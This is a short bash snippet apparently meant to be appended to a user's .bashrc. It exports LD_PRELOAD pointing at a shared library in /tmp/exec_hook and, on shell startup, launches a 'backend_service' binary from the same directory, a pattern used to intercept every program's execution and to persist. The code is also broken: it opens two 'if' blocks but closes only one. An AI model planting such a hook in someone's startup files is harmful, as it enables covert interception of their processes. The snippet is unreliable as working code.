#!/bin/bash
set -e
export LD_PRELOAD=/tmp/exec_hook/intercept.so
# ... (你现有的 .bashrc 内容) ...
if [[ -z "$ALREADY_LD_PRELOADED" ]]; then
if [[ -n "$LD_PRELOAD" ]]; then
export ALREADY_LD_PRELOADED=1
/tmp/exec_hook/backend_service
exec bash
fi